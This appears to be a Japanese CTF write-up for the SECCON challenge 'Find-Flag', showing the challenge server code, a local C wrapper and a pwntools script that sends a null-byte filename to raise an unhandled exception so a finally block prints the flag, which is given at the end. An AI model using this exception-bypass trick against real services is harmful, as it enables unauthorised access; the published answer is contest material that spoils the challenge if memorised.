TAG
MISC
Find-Flag-jp
#server.py
#!/usr/bin/env python3.9
import os
FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()
print(len(FLAG))
def check():
try:
filename = input("filename: ")
if open(filename, "rb").read(len(FLAG)) == FLAG:
return True
except FileNotFoundError:
print("[-] missing")
except IsADirectoryError:
print("[-] seems wrong")
except PermissionError:
print("[-] not mine")
except OSError:
print("[-] hurting my eyes")
except KeyboardInterrupt:
print("[-] gone")
return False
if __name__ == '__main__':
try:
check = check()
except:
print("[-] something went wrong")
exit(1)
finally:
if check:
print("[+] congrats!")
print(FLAG.decode())
if __name__ == '__main__':
try:
check = check()
except:
print("[-] something went wrong")
exit(1)
finally:
if check:
print("[+] congrats!")
print(FLAG.decode())
上記のコードで注目すべき点は、FLAG出力がfinallyの中にあるということだ。
すなわち、check()関数で例外を発生させてcheck過程を迂回できるのだ。
except FileNotFoundError:
print("[-] missing")
except IsADirectoryError:
print("[-] seems wrong")
except PermissionError:
print("[-] not mine")
except OSError:
print("[-] hurting my eyes")
check()関数で例外処理されたERRORリストである。
該当例外ではない他の例外を起こせば迂回が可能だ。
私はValueError:embedded null byteを使って迂回を進めた
//local_setup.c
//gcc -o local_setup local_setup.c
#include <stdlib.h>
void main()
{
system("/usr/bin/python3 server.py");
}
上記はDockerを実行せずにローカルで回すためにcコードを使用してコードを実行させる過程だ。
#exploit.py
#remote exploit
"""from pwn import *
payload = b'\x00'
r = remote('find-flag.seccon.games', 10042)
r.recvuntil(b"filename: ")
r.sendline(payload)
print(r.recv())"""
#local exploit
from pwn import *
p = process('./local_setup')
payload = b'\x00'
p.recvuntil(b'filename: ')
p.sendline(payload)
print(p.recv())F
FLAG: SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}